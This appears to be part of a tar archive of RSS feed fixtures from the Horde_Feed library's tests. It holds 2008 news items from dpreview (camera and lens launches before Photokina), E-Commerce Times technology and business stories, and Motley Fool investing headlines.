superior control of flare due to its T* coating, this manual focus-only lens also boasts a floating element design for excellent results across the entire distance range. It will be available in Canon, Nikon and Pentax mounts at the end of 2008. http://www.dpreview.com/news/0809/08091901carl_zeiss_distagon_t_21mm.asp Ricoh introduces GRDII and accessories bundle Thu, 18 Sep 2008 14:42:00 GMT http://www.dpreview.com/news/0809/08091803ricoh_bundle.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Ricoh has launched an accessory bundle&nbsp;based around the GR Digital II compact camera. The 'Creative Set' includes the cameras, a 0.75x wide angle converter, lens hood with adapter, external viewfinder and a leather camera case to use with attached viewfinder and neck strap. The Creative Set is available now in the UK for &pound;599.99. http://www.dpreview.com/news/0809/08091803ricoh_bundle.asp Adobe releases Camera RAW 4.6 beta Thu, 18 Sep 2008 13:21:00 GMT http://www.dpreview.com/news/0809/08091802adobe_camera_raw_4_6.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Adobe has release a beta of v4.6 of its Adobe Camera Raw plugin. The latest version, that works with Adobe CS3, includes coverage for the Nikon D700 and D90 DSLRS. The Fujifilm FinePix IS Pro is also catered for, alongside the Nikon Coolpix P6000 compact camera. Update: Cameras from Sony, Olympus, Canon and Sigma receive preliminary support. http://www.dpreview.com/news/0809/08091802adobe_camera_raw_4_6.asp Mamiya launches ZDb Digital Back Thu, 18 Sep 2008 09:42:00 GMT http://www.dpreview.com/news/0809/08091801mamiya_ZDb_digital_back.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: Mamiya has announced the ZDb 22 MP Digital Back; a revised version of its ZD model. The buffer has been doubled, enabling users to shoot up to 22 full-quality RAW files, rather than 10. Support for SDHC cards has also been added. In addition, Mamiya has launched a beta version of its Remote Capture software for tethered shooting. http://www.dpreview.com/news/0809/08091801mamiya_ZDb_digital_back.asp Exclusive: Canon EOS 5D Mark II hands-on preview Wed, 17 Sep 2008 11:00:00 GMT http://www.dpreview.com/news/0809/08091707canon5dmkiipreview.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: The much-anticipated launch of the Canon EOS 5D Mark II has prompted much discussion this morning. A full frame 21MP sensor, 1080p HD video and ISO 25,600 equivalent mode are the headline specs. Phil has dragged himself out of the server room, dusted himself off and has had the entire dpreview staff furiously scouring the spec tables and delving through the menus to help get behind those headlines. And here is the result - our hands-on preview of the Canon EOS 5D Mark II. http://www.dpreview.com/news/0809/08091707canon5dmkiipreview.asp SanDisk board rebuffs Samsung offer Wed, 17 Sep 2008 09:51:00 GMT http://www.dpreview.com/news/0809/08091706Sandisk.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>SanDisk's board has rejected a take-over approach from South Korean giant Samsung. A letter from SanDisk's Chairman and CEO to Samsung says the board considers the offer from the World's second-largest chip maker to undervalue its business. SanDisk announced, on September 5th, it had held talks with Samsung but described the latest offer as 'unsolicited' and 'opportunistically timed.' The offer would value the California, US-headquartered flash card maker at $5.8bn and would help Samsung reduce the technology licence fees it currently pays to SanDisk. http://www.dpreview.com/news/0809/08091706Sandisk.asp Canon EOS 5D Mark II: 21MP and HD movies Wed, 17 Sep 2008 04:00:00 GMT http://www.dpreview.com/news/0809/08091705canon_5dmarkII.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: After a week or so of teaser ads Canon has finally unveiled the successor to the venerable EOS 5D, the world's first 'compact' full frame digital SLR. The EOS 5D Mark II boasts a new 21MP CMOS sensor, an expanded ISO range of 50-25,600 and a wealth of improvements and new features including full 1080p HD movie recording, live view, 3.0&quot; 920k dot LCD, DIGIC IV processor, increased battery capacity and sensor dust reduction. UPDATE: Body-only prices: US: $ 2,699, EU: &euro; 2,499, UK: &pound; 2,299. http://www.dpreview.com/news/0809/08091705canon_5dmarkII.asp Canon 24mm f/1.4 L II USM lens Wed, 17 Sep 2008 04:00:00 GMT http://www.dpreview.com/news/0809/08091704canon_ef24mm.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: Along with the EOS 5D Mark II, Canon has announced its latest addition to the EF lens family, the 24mm f/1.4 L II USM fast aperture wide angle prime. The new lens has undergone a complete redesign and now features 13 elements in 10 groups, including two high-precision glass-molded aspheric elements and two UD glass elements, plus a floating focus mechanism to maintain performance across the entire distance range. It also features Canon&rsquo;s brand-new &lsquo;Sub Wavelength structure Coating&rsquo; technology to minimize flare and ghosting, and is sealed against dust and inclement weather. UPDATE: Exclusive images added of the new lens on the 5D Mark II. http://www.dpreview.com/news/0809/08091704canon_ef24mm.asp Two new Canon Superzooms including first CMOS PowerShot Wed, 17 Sep 2008 04:00:00 GMT http://www.dpreview.com/news/0809/08091703canon_sx1is_sx10is.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: Canon has announced a pair of 10 megapixel successors to its PowerShot S5IS 'super zoom' compact digital camera. Both the PowerShot SX10 IS and PowerShot SX1 IS feature 28-560mm (equivalent) 20x zoom lenses, DIGIC IV processors, improved image stabilization system and wealth of new features. The SX1 IS is particularly interesting as it is the first PowerShot to feature a Canon CMOS sensor, which allows the camera to offer 4.0 fps (full resolution) continuous shooting and true 1080p HDTV movie capture at 30fps. UPDATE: While we haven't heard this officially from Canon it does appear that the new CMOS SX1 IS won't be available in North America. http://www.dpreview.com/news/0809/08091703canon_sx1is_sx10is.asp Canon PowerShot G10: 15MP and 28mm wide Wed, 17 Sep 2008 04:00:00 GMT http://www.dpreview.com/news/0809/08091702canon_g10.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: Canon's PowerShot range has a new flagship in the form of the much anticipated G10, successor to the G9. Key changes include a new 14.7 megapixel CCD sensor and, more usefully, a new 28-140mm wide zoom and increased screen resolution - plus a DIGIC IV processor. A new top panel layout adds a dedicated AE compensation dial and there's an improved grip, but overall externally the changes are subtle. http://www.dpreview.com/news/0809/08091702canon_g10.asp Canon SD 990 IS and SD 880 IS Wed, 17 Sep 2008 04:00:00 GMT http://www.dpreview.com/news/0809/08091701canon_ixus980is_ixus_870is.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: Canon has launched the Digital IXUS 980 IS and Digital IXUS 870 IS, including the first IXUS with manual controls. The models, which will be known as the SD 990 IS and SD 880 IS in North America, replace the Digital IXUS 960 IS and 860 IS respectively. The 14.7MP IXUS 980 features a 36 - 133mm equiv optical zoom, 2.5&rdquo; LCD and is the first IXUS to offer manual controls. The 10MP IXUS 870 IS features a 28-112mm equiv optical zoom and a larger 3.0&rdquo; LCD. Both cameras use Canon&rsquo;s new DIGIC 4 processor for faster image processing. http://www.dpreview.com/news/0809/08091701canon_ixus980is_ixus_870is.asp Sony updates A700 firmware and processing software Tue, 16 Sep 2008 12:18:00 GMT http://www.dpreview.com/news/0809/08091601sonyfirmware.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Sony has issued a firmware update for its A700 DSLR. The firmware, widely distributed having been posted on the company's Japanese site, makes a number of changes, including a noise-reduction 'off' setting that may address some of the criticisms originally leveled at the camera. Other modifications include changes to bracketing, white balance and dynamic range optimization. Related updates have also been made to Sony's processing software. http://www.dpreview.com/news/0809/08091601sonyfirmware.asp Casio announces Exilim EX-FH20 high speed camera Tue, 16 Sep 2008 00:03:00 GMT http://www.dpreview.com/news/0809/08091601casio_fh20.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Casio has launched the Exilim EX-FH20 high speed digital compact camera. Building on the interest in its EX-F1 model, the FH20 offers a burst rate of up to 40fps and movies at 1000fps. The camera is built around a 9.1MP, 1/2.3&rdquo; CMOS sensor and 20x zoom lens (26-520mm equiv) Priced at &pound;399, the EX-FH20 is considerably less expensive than the EX-F1 and will be available from October. http://www.dpreview.com/news/0809/08091601casio_fh20.asp Leica offers World's fastest Aspherical lens Mon, 15 Sep 2008 14:15:00 GMT http://www.dpreview.com/news/0809/08091505leica_50mm_f0_95.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre Photokina 2008: Along with the M8.2, Leica has unveiled the world&rsquo;s fastest asphercial lens, the NOCTILUX-M 50 mm f/0.95 ASPH. offering the market a faster lens than the SUMMILUX-M 50 mm f /1.4 ASPH. The wide maximum aperture gives extremely shallow depth of field and very low light capability. Priced at &pound;6290 it will be made available in February 2009. http://www.dpreview.com/news/0809/08091505leica_50mm_f0_95.asp Three Prime lenses launched by Leica Mon, 15 Sep 2008 15:12:00 GMT http://www.dpreview.com/news/0809/08091504leica_21mm_24mm_24mm.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: Leica has, amongst its latest announcments, launched three new prime lenses - the SUMMILUX-M 21 mm f / 1.4 ASPH, SUMMILUX-M 24 mm f / 1.4 ASPH and Elmar-M 24 MM F / 3.8 ASPH Lens. Ideal with the M8/8.2, the all three lenses are specifically designed to keep vignetting and distortion to a minimum. http://www.dpreview.com/news/0809/08091504leica_21mm_24mm_24mm.asp Leica announces M8.2 rangefinder update Mon, 15 Sep 2008 12:42:00 GMT http://www.dpreview.com/news/0809/08091503leica_m82.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: Leica has launched an updated version of its M8 digital rangefinder camera. The M8.2 features the same body as the M8, but includes the previously optional upgrades announced at PMA in January 2008. These include a low vibration, extra quiet focal plane shutter with the option to re-cock the shutter at a more convenient moment. The camera body also sports a new vulcanite finish and a scratch-resistant sapphire crystal cover glass for LCD protection. http://www.dpreview.com/news/0809/08091503leica_m82.asp Leica announces D-Lux 4 and C-Lux 3 Mon, 15 Sep 2008 12:24:00 GMT http://www.dpreview.com/news/0809/08091502leica_dlux4_clux3.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: Leica has announced the D-Lux 4 and C-Lux 3 digital compact cameras. D-Lux 4 features a 1/1.63&rdquo; CCD image sensor, 3.0&rdquo;, 460,000 dot LCD monitor and a 24 to 60mm (equiv) lens. Compared to D-Lux-4, C-Lux 3 has a smaller 1/2.33&rdquo; CCD sensor, 2.5&rdquo;, 230,000 dots LCD monitor and zoom range of 24 to 125mm (equiv). Both include 50MB internal storage, support SD/SDHC storage and video recording. http://www.dpreview.com/news/0809/08091502leica_dlux4_clux3.asp Carl Zeiss lenses for Canon SLRs Mon, 15 Sep 2008 09:33:00 GMT http://www.dpreview.com/news/0809/08091501Zeissforcanon.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Carl Zeiss has confirmed that the mysterious 'ZE' mount it will start making lenses for is the Canon EF mount. Initially the company will make its Planar T* 50mm and 85mm F1.4 manual focus lenses available. Both will be available by the end of 2008. The range of lenses in the Canon mount will be expanded in future. Now with US prices. http://www.dpreview.com/news/0809/08091501Zeissforcanon.asp Exclusive: Panasonic Lumix G1 previewed Fri, 12 Sep 2008 06:00:00 GMT http://www.dpreview.com/news/0809/08091202panasonic_DMC_G1.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina: Panasonic has unveiled what it is calling the World&rsquo;s First Full-time Live View Digital Interchangeable Lens Camera - the Lumix DMC-G1. Utilizing the Micro Four Thirds standard announced last month, the G1 drops the mirror / prism optical viewfinder that has been standard in SLR cameras for over half a century in favor of a newly developed high resolution electronic viewfinder. Squeezed into the diminutive body are a new 12MP Four Thirds Live MOS sensor with SSWF, new processor (Venus Engine HD) and a comprehensive combination of DLSR and compact camera features (though surprisingly, no movie mode). We've had a prototype G1 in the office for a week or so and have produced a detailed hands-on preview to whet your appetite whilst we wait for reviewable sample. http://www.dpreview.com/news/0809/08091202panasonic_DMC_G1.asp Two Micro Four Thirds System Lenses by Panasonic Fri, 12 Sep 2008 06:06:00 GMT http://www.dpreview.com/news/0809/08091201panasonic14-45_45-200.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: To coincide with the announcement of Lumix DMC-G1, Panasonic has also announced two new &nbsp;Micro Four Thirds System zoom lenses; the LUMIX G VARIO 14-45mm/F3.5-5.6 ASPH./MEGA O.I.S. and LUMIX G VARIO 45-200mm/F4.0-5.6/MEGA O.I.S. Both lenses offer Image Stabilization and produce an equivalent field of view of 28-90 mm and 90-400 mm respectively. http://www.dpreview.com/news/0809/08091201panasonic14-45_45-200.asp 32GB SanDisk Extreme III CompactFlash Card Thu, 11 Sep 2008 14:33:00 GMT http://www.dpreview.com/news/0809/08091101sandisk_32gb_extremeIII.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: SanDisk has announced a 32GB version its Extreme III CompactFlash Card. It offers a read and write speed of 200x (30 MB/s), supporting the new generation of high-resolution DSLRs. Priced at $299; it will be available in the month of October. http://www.dpreview.com/news/0809/08091101sandisk_32gb_extremeIII.asp Leaf AFi-II 10, 7 and 6 Medium Format Cameras Wed, 10 Sep 2008 16:57:00 GMT http://www.dpreview.com/news/0809/08091002leaf_afiII_aptus_10_7_6.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: Leaf has announced the AFi-II 10, 7 and 6 digital medium format cameras and corresponding Aptus-II 10, 7 and 6 digital backs. AFi-II 7 and 10 have the first 90&deg; tilting LCD screens on medium format cameras. In addition, the AFi-II 10 and Aptus&#8208;II 10 use a 56 megapixel, 56 x 36mm wide imaging sensor. All of the new cameras backs feature 3.5&quot; touch screen LCD displays, 12-stop dynamic range, 50-800 ISO range and 16-bit output. &nbsp;Leaf has also introduced a new version of its capture software, Leaf Capture version 11.2. http://www.dpreview.com/news/0809/08091002leaf_afiII_aptus_10_7_6.asp Just posted! Nikon 50mm 1:1.4D lens review Wed, 10 Sep 2008 15:26:00 GMT http://www.dpreview.com/news/0809/08091001nikon50_1p4_review.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Just posted! Our new lens review featuring Nikon's stalwart standard lens, the AF-Nikkor 50mm 1:1.4D. In the third instalment of our latest series in which we've also recently examined the equivalent fast primes from Sigma and Canon, we see how this ageing optical design stands up under the scrutiny of our exacting studio tests. http://www.dpreview.com/news/0809/08091001nikon50_1p4_review.asp Sony DSLR-A900, Preview and Gallery Tue, 09 Sep 2008 13:00:00 GMT http://www.dpreview.com/news/0809/08090902sonyalpha900.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina: Nearly 18 months after it first appeared as a prototype at trade shows, Sony has announced its eagerly anticipated flagship digital SLR, the Alpha 900 - finally giving Minolta/Konica Minolta users a full frame option. Featuring the 24.6 MP CMOS sensor announced in January, the Alpha 900 offers several enticing features, including sensor-shift image stabilization, a super 100% coverage viewfinder and the same high resolution screen as the Alpha 700 (the new model also inherits most of the 700's features, menus and external controls). We've had an Alpha 900 for a few days now, just enough time to produce a detailed hands-on preview and a quick gallery of sample images. http://www.dpreview.com/news/0809/08090902sonyalpha900.asp Sony launches 70-400mm F4-5.6 and Carl Zeiss 16-35mm F2.8 Tue, 09 Sep 2008 13:00:00 GMT http://www.dpreview.com/news/0809/08090901sony_sal1635za_sal70400.asp http://forums.dpreview.com/forums/forum.asp?forum=1000 ]]>Pre-Photokina 2008: Alongside the A900 announcement, Sony has introduced two new high-end lenses to augment its full-frame lens range. The addition of the Carl Zeiss Series 16-35mm F2.8 and G Series 70-400 F4-5.6 means Sony now offers premium grade zooms all the way from 16mm to 400mm. The 16-35mm complements the recently introduced Carl Zeiss Series 24-70mm F2.8 and means F2.8 zooms are available from 16mm to 200mm. Both the new lenses feature customizable AF stop buttons that can operate the A900's 'Intelligent Preview' function. http://www.dpreview.com/news/0809/08090901sony_sal1635za_sal70400.asp ././@LongLink000 151 0003733 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.ecommercetimes.com-perl-syndication-rssfull.plHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.ecommercetimes.com-perl-syndication-rssfu0000664000175000017500000005451712653701626031751 0ustar janjan E-Commerce Times http://www.ecommercetimes.com E-Commerce Times: the E-Business and Technology Super Site en-us Copyright 2007 2008-09-21T21:49:32-07:00 ECT News Network ECT News Network E-Commerce Times: the E-Business and Technology Super Site hourly 1 2008-09-21T21:49:32-07:00 E-Commerce Times http://www.ecommercetimes.com/images/rss/ect_100x36.jpg http://www.ecommercetimes.com Internet Radio: Not Dead, Just on Walkabout http://www.ecommercetimes.com/rsstory/64566.html There have been some subtle shifts in digital music this year, trends that will accelerate over the next few months as the holidays near. I'm not talking about MP3 players and the new models to tempt you. Rather, there is an increasing amount of music available that does not require the downloading of songs to a portable device. Eric Benderoff 2008-09-21T04:00:00-07:00 Radio There have been some subtle shifts in digital music this year, trends that will accelerate over the next few months as the holidays near. I'm not talking about MP3 players and the new models to tempt you. Rather, there is an increasing amount of music available that does not require the downloading of songs to a portable device. It's Internet radio on the go, and the trend is emerging as a potentially disruptive market force, putting into question the need for a satellite radio service or even the purchase of music. ]]> 2008-09-21T04:00:00-07:00 2008-09-19T15:27:01-07:00 Crazy Bad Luck for Casino ATM Customers http://www.ecommercetimes.com/rsstory/64565.html The Las Vegas company that mistakenly double-cashed more than 10,000 casino customer checks worth millions of dollars on Aug. 30 has struck again. This time, ATMs operated by lobal Cash Access deducted money from thousands of bank accounts -- without dispensing any cash. Eric Gershon 2008-09-21T04:00:00-07:00 Customer Service The Las Vegas company that mistakenly double-cashed more than 10,000 casino customer checks worth millions of dollars on Aug. 30 has struck again. This time, ATMs operated by lobal Cash Access deducted money from thousands of bank accounts -- without dispensing any cash. "We're aghast that this has happened," said Scott Betts, president and chief executive of Global Cash, which provides check-cashing and ATM services for casinos nationwide, including Foxwoods Resort Casino and Mohegan Sun. ]]> 2008-09-21T04:00:00-07:00 2008-09-19T17:08:51-07:00 Cablevision's Great DVR in the Sky http://www.ecommercetimes.com/rsstory/64558.html If the nation's largest cable TV operators have their way, the home digital video recorder could soon become a relic. Leading the way is Cablevision Systems, which plans to roll out a system in early 2009 that will let viewers record any show without a DVR, only a digital set-top box. Shows will be stored on Cablevision's servers instead of a home DVR -- a shift the company said could save it upward of $700 million. Deborah Yao 2008-09-21T04:00:00-07:00 Home Entertainment If the nation's largest cable TV operators have their way, the home digital video recorder could soon become a relic. Leading the way is Cablevision Systems, which plans to roll out a system in early 2009 that will let viewers record any show without a DVR, only a digital set-top box. Shows will be stored on Cablevision's servers instead of a home DVR -- a shift the company said could save it upward of $700 million. Comcast, Time Warner Cable and Charter Communications also are interested in deploying network DVR services but are farther away from implementation. ]]> 2008-09-21T04:00:00-07:00 2008-09-19T17:06:18-07:00 Can Crowdsourcing Curtail Patent Abuse? http://www.ecommercetimes.com/rsstory/64495.html Some of the biggest players in the technology industry complain that the U.S. patent system is broken -- putting too many patents of dubious merit in the hands of people who can use them to drag companies and other inventors to court. Blaise Mouttet, a small inventor in Alexandria, Va., thinks he knows why. The problem, he said, is that "there are too many lawyers and not enough inventors involved with the patent system." Joelle Tessler 2008-09-21T04:00:00-07:00 Community Some of the biggest players in the technology industry complain that the U.S. patent system is broken -- putting too many patents of dubious merit in the hands of people who can use them to drag companies and other inventors to court. Blaise Mouttet, a small inventor in Alexandria, Va., thinks he knows why. The problem, he said, is that "there are too many lawyers and not enough inventors involved with the patent system." So Mouttet is taking part in an experimental program intended to give the public -- including inventors -- more of a voice in the system. ]]> 2008-09-21T04:00:00-07:00 2008-09-19T17:05:53-07:00 The TV Ad Exodus, Part 2: Melding With the Web http://www.ecommercetimes.com/rsstory/64552.html TV advertising's halcyon days appear to be fading further and further in the rear-view mirror. While the medium still carries a lot of clout, its growth rate has slowed, and companies are earmarking their spending for other media. Ironically, these new options may soon lead to a refashioning, if not a rebirth, of TV as an advertising vehicle. Paul Korzeniowski 2008-09-20T04:00:00-07:00 E-Marketing TV advertising's halcyon days appear to be fading further and further in the rear-view mirror. While the medium still carries a lot of clout, its growth rate has slowed, and companies are earmarking their spending for other media. Ironically, these new options may soon lead to a refashioning, if not a rebirth, of TV as an advertising vehicle. TV advertising has remained flat recently, and it's clear where companies are placing a growing portion of their money: the Internet. ]]> 2008-09-20T04:00:00-07:00 2008-09-19T16:44:51-07:00 Oracle Posts Big Profit, Shrugs Off Wall Street Worries http://www.ecommercetimes.com/rsstory/64557.html Enterprise software giant Oracle surpassed Wall Street expectations Friday by reporting a 28 percent boost in profit for the quarter ended Aug. 31. However, Redwood City, Calif.-based Oracle said revenue and profit growth will slow down in the next quarter as the U.S. economy loses steam. Jeff Meisner 2008-09-19T11:57:14-07:00 Wall Street Enterprise software giant Oracle surpassed Wall Street expectations Friday by reporting a 28 percent boost in profit for the quarter ended Aug. 31. However, Redwood City, Calif.-based Oracle said revenue and profit growth will slow down in the next quarter as the U.S. economy loses steam. The rising strength of the U.S. dollar against foreign currencies could siphon a few percentage points off growth in overseas markets, said Oracle CFO Safra Catz. ]]> 2008-09-19T11:57:14-07:00 2008-09-19T11:57:09-07:00 Cisco Bulks Up Its Softer Side With Jabber Buy http://www.ecommercetimes.com/rsstory/64560.html Networking giant Cisco Systems said Friday that will acquire instant-messaging software maker Jabber. Terms of the pending deal were not disclosed. Denver-based Jabber makes an open source instant-messaging software that supports an assortment of devices across a business' IT network. Jeff Meisner 2008-09-19T14:08:02-07:00 Business Networking giant Cisco Systems said Friday that will acquire instant-messaging software maker Jabber. Terms of the pending deal were not disclosed. Denver-based Jabber makes an open source instant-messaging software that supports an assortment of devices across a business' IT network. Jabber also makes it possible for users to talk to one another across different instant-messaging platforms. For example, a user on Yahoo Messenger can connect with another user on Google Talk. ]]> 2008-09-19T14:08:02-07:00 2008-09-19T14:08:39-07:00 Spammers Bait Hooks With Fake iPhone Game http://www.ecommercetimes.com/rsstory/64561.html Security firm Sophos issued a warning Thursday about e-mails purportedly offering free iPhone games. The missives profess to feature a free game for the smartphone, but the only thing those who download the attachment receive is malware designed to infect PCs running Windows. Walaika Haskins 2008-09-19T14:18:27-07:00 iPhone Security firm Sophos issued a warning Thursday about e-mails purportedly offering free iPhone games. The missives profess to feature a free game for the smartphone, but the only thing those who download the attachment receive is malware designed to infect PCs running Windows. The scam e-mails purport to include a file dubbed "Penguin.Panic.zip," a supposed version of the popular "Penguin Panic" motion-based iPhone app game, in which a cuddly Penguin jumps from one iceberg to another while avoiding falling icicles. ]]> 2008-09-19T14:18:27-07:00 2008-09-19T14:18:41-07:00 Secret International Antipiracy Deal Spurs FOIA Lawsuit http://www.ecommercetimes.com/rsstory/64554.html A battle is brewing over a secretive intellectual property agreement being negotiated by the U.S. and several other nations. Leaked documents indicate the Anti-Counterfeiting Trade Agreement would allow multiple countries to enforce each others' intellectual property laws. JR Raphael 2008-09-19T11:18:33-07:00 Piracy A battle is brewing over a secretive intellectual property agreement being negotiated by the U.S. and several other nations. Leaked documents indicate the Anti-Counterfeiting Trade Agreement would allow multiple countries to enforce each others' intellectual property laws. That, some fear, could pose substantial risks to your privacy rights. Two public interest groups, the Electronic Frontier Foundation and Public Knowledge, filed a lawsuit this week to gain access to the documents. Their previous requests for information, they say, have gone unfilled. ]]> 2008-09-19T11:18:33-07:00 2008-09-19T11:19:54-07:00 Brin Steps Into Genetic Ethics Debate With Blog Revelation http://www.ecommercetimes.com/rsstory/64559.html Sergey Brin had his own genetic code Googled by his wife's DNA testing company. The results, revealed in the first posting of the Google cofounder's new blog, show that he carries a gene mutation that predisposes him to Parkinson's disease. "This leaves me in a rather unique position," Brin writes in his blog, Too. Renay San Miguel 2008-09-19T14:01:06-07:00 Med Tech Sergey Brin had his own genetic code Googled by his wife's DNA testing company. The results, revealed in the first posting of the Google cofounder's new blog, show that he carries a gene mutation that predisposes him to Parkinson's disease. "This leaves me in a rather unique position," Brin writes in his blog, Too. "I know early in my life something I am substantially predisposed to. I now have the opportunity to adjust my life to reduce those odds [e.g. there is evidence that exercise may be protective against Parkinson's]." ]]> 2008-09-19T14:01:06-07:00 2008-09-19T14:01:18-07:00 SoCal Startups Come Out of the Woodwork http://www.ecommercetimes.com/rsstory/64546.html "Monetize." This dry semantic substitute for figuring out ways to make money stood out as the Word of the Day for the companies displaying their social media Web sites and Software as a Service offerings at the VentureNet 2008 Conference, produced by the Torrance-based Technology Council of Southern California and held Sept. 12 at the Westin South Coast Plaza in Costa Mesa. Ned Madden 2008-09-19T04:00:00-07:00 Startups to Watch "Monetize." This dry semantic substitute for figuring out ways to make money stood out as the Word of the Day for the companies displaying their social media Web sites and Software as a Service offerings at the VentureNet 2008 Conference, produced by the Torrance-based Technology Council of Southern California and held Sept. 12 at the Westin South Coast Plaza in Costa Mesa. The heavyweights of Southern California high-tech business and venture capital turned out in force for the conference. ]]> 2008-09-19T04:00:00-07:00 2008-09-19T13:51:57-07:00 Ninja Assassins, E-Mail Hackers and a Digital Media Pile-On http://www.ecommercetimes.com/rsstory/64553.html If you're a ninja assassin, a terrorist, an illegal street racer, or any other variety of violent outlaw, you shouldn't look to YouTube for training anymore; you won't find any there. The Google-owned video sharing site has revised its policies to specifically forbid such videos. ECT News Staff 2008-09-19T10:52:33-07:00 Video 2.0 If you're a ninja assassin, a terrorist, an illegal street racer, or any other variety of violent outlaw, you shouldn't look to YouTube for training anymore; you won't find any there. The Google-owned video sharing site has revised its policies to specifically forbid videos that offer instructions on, "bomb making, ninja assassin training, sniper attacks, videos that train terrorists or tips on illegal street racing." YouTube has long banned graphically violent content, but the new rule bans related instructional content even if the violence itself isn't graphically depicted. ]]> 2008-09-19T10:52:33-07:00 2008-09-19T10:53:00-07:00 T-Mobile Paves 3G Freeway for Android http://www.ecommercetimes.com/rsstory/64555.html T-Mobile USA has been beefing up its nascent 3G mobile wireless services network, announcing that 3G will be ready to run in 21 markets by the middle of next month and will reach 27 major markets by the end of this year. The company says the planned expansion will deliver T-Mobile 3G services to more than two-thirds of the company's current data customers -- but T-Mobile will continue to expand throughout 2009. Chris Maxcer 2008-09-19T11:26:32-07:00 Wireless Networking T-Mobile USA has been beefing up its nascent 3G mobile wireless services network, announcing that 3G will be ready to run in 21 markets by the middle of next month and will reach 27 major markets by the end of this year. The company says the planned expansion will deliver T-Mobile 3G services to more than two-thirds of the company's current data customers -- but T-Mobile will continue to expand throughout 2009. T-Mobile's UMTS/HSDPA high-speed data network is currently available across 13 major metropolitan markets. ]]> 2008-09-19T11:26:32-07:00 2008-09-19T11:26:14-07:00 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.fool.com-xml-foolnews_rss091.xml0000664000175000017500000003273312653701626027631 0ustar janjan Fool.com: The Motley Fool15http://www.fool.com/Today's top headlines from The Motley Foolen-usThe Motley Fool26060http://www.fool.comhttp://g.fool.com/art/logos/01c.gifIf You Could Make Only One Investment ...http://feeds.fool.com/~r/usmf/foolwatch/~3/TAtekQdW-OE/if-you-could-make-only-one-investment.aspxLooking for ideas? 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EDThttp://www.fool.com/investing/small-cap/2008/09/21/todays-strong-buys.aspxhttp://www.fool.com/investing/small-cap/2008/09/21/todays-strong-buys.aspxGet Ready to Buyhttp://feeds.fool.com/~r/usmf/foolwatch/~3/dgYQJJtxocI/get-ready-to-buy.aspxHere's a simple recipe for tough times. <p><a href="http://feedads.googleadservices.com/~a/LKhObHhXYcu57YQf2eDUTDxnyqA/a"><img src="http://feedads.googleadservices.com/~a/LKhObHhXYcu57YQf2eDUTDxnyqA/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/usmf/foolwatch/~4/dgYQJJtxocI" height="1" width="1"/>Sat, 20 Sep 2008 08:00:56 EDThttp://www.fool.com/investing/small-cap/2008/09/20/get-ready-to-buy.aspxhttp://www.fool.com/investing/small-cap/2008/09/20/get-ready-to-buy.aspxAvoid the Mistake That Cost Buffett 8 Years of Better Returnshttp://feeds.fool.com/~r/usmf/foolwatch/~3/vLPomueA2hs/avoid-the-mistake-that-cost-buffett-8-years-of-bet.aspxBuffett spent years investing with a strategy that was doomed to fail. <p><a href="http://feedads.googleadservices.com/~a/lt3PkEULrrKsoYcjbij312OEuMM/a"><img src="http://feedads.googleadservices.com/~a/lt3PkEULrrKsoYcjbij312OEuMM/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/usmf/foolwatch/~4/vLPomueA2hs" height="1" width="1"/>Sat, 20 Sep 2008 08:00:50 EDThttp://www.fool.com/investing/value/2008/09/20/avoid-the-mistake-that-cost-buffett-8-years-of-bet.aspxhttp://www.fool.com/investing/value/2008/09/20/avoid-the-mistake-that-cost-buffett-8-years-of-bet.aspxWhatever You Do, Avoid Mutual Fundshttp://feeds.fool.com/~r/usmf/foolwatch/~3/c3-xglu3_Tk/whatever-you-do-avoid-mutual-funds.aspxFunds can bring you a world of hurt, so be careful. <p><a href="http://feedads.googleadservices.com/~a/r_hMHWHVp-oCRL5o5xJA6I7ZhpI/a"><img src="http://feedads.googleadservices.com/~a/r_hMHWHVp-oCRL5o5xJA6I7ZhpI/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/usmf/foolwatch/~4/c3-xglu3_Tk" height="1" width="1"/>Sat, 20 Sep 2008 08:00:46 EDThttp://www.fool.com/investing/mutual-funds/2008/09/20/whatever-you-do-avoid-mutual-funds.aspxhttp://www.fool.com/investing/mutual-funds/2008/09/20/whatever-you-do-avoid-mutual-funds.aspxGreat Stocks the Street Misseshttp://feeds.fool.com/~r/usmf/foolwatch/~3/S2gg6UJg4hg/great-stocks-the-street-misses.aspxYou can't beat the Street by playing its game. <p><a href="http://feedads.googleadservices.com/~a/ROnYUVMSQG489ePDKw0t7lArdpI/a"><img src="http://feedads.googleadservices.com/~a/ROnYUVMSQG489ePDKw0t7lArdpI/i" border="0" ismap="true"></img></a></p><img 